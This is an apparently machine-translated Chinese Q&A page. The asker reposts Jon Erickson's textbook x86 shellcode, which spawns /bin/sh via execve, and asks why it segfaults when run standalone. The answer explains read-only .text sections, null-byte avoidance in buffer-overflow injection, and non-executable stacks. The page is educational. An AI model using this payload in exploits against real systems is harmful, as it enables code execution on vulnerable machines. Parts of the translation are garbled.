汇编代码中的分段错误

时间:2014-12-25 06:01:31

标签: assembly segmentation-fault

我正在研究Jon Erickson的Hacking一书。以下代码来自他的书:

BITS 32
jmp short two     ; Jump down to the bottom for the call trick.
one:
pop ebx           ; Ebx has the addr of the string.
xor eax, eax      ; Put 0 into eax.
mov [ebx+7], al   ; Null terminate the /bin/sh string.
mov [ebx+8], ebx  ; Put addr from ebx where the AAAA is.
mov [ebx+12], eax ; Put 32-bit null terminator where the BBBB is.
lea ecx, [ebx+8]  ; Load the address of [ebx+8] into ecx for argv ptr.
lea edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr.
mov al, 11        ; Syscall #11
int 0x80          ; Do it.
two:
call one          ; Use a call to get string address.
db '/bin/shXAAAABBBB'     ; The XAAAABBBB bytes aren't needed.

它产生一个shell。我尝试使用:

nasm -f elf shellcode.asm
ld -o shellcode shellcode.o
./shellcode

但是,我收到以下错误:

Segmentation fault (core dumped)

本书以前的例子有用,所以我不知道是什么问题。我不是装配专家,可能会发生问题非常简单。

1 个答案:

答案 0 :(得分:0)

通常(在现代Linux上)可执行文件的.text部分是"只读",因此它应该导致页面错误异常(尝试写入&#34) ;只读"页面);这通常被称为"分段错误"在* nix系统上出于历史原因。

我还假设这个代码意味着在堆栈上(例如,攻击者通过滥用缓冲区溢出错误将其作为字符串注入进程);这解释了为什么它如此努力地避免零字节(因为你可以在零终止字符串中没有零字节)。在那种情况下(在现代Linux上),堆栈应该是#34;没有执行"它应该导致页面错误异常(尝试在" no execute"页面中执行数据)。

晴;您在本书出版前大约10年就已经了解了众所周知的安全漏洞。

相关问题